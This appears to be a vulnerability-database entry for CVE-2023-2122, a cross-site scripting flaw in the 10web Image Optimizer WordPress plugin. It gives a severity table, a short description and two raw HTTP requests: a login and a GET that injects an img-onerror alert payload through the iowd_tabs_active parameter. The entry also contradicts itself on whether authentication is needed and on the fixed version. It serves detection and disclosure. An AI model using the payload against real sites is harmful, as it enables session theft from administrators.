| Title | Image Optimizer by 10web < 1.0.26 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the iowd_tabs_active parameter to steal WordPress administrator session cookies. |
| Remediation | Fixed in version 1.0.27 |
| CVSS Score | 6.1 |
| EPSS Score | 0.22608 |
| CVE ID | CVE-2023-2122 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wpscan xss image-optimizer-wd wordpress wp-plugin wp authenticated 10web vuln |
Image Optimizer by 10web before 1.0.26 is susceptible to cross-site scripting via the iowd_tabs_active parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=N4c3dJ&pwd=I1TrG4&wp-submit=Log+In
GET /wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ef0cmo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2122.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2122.pcap
N/AN/A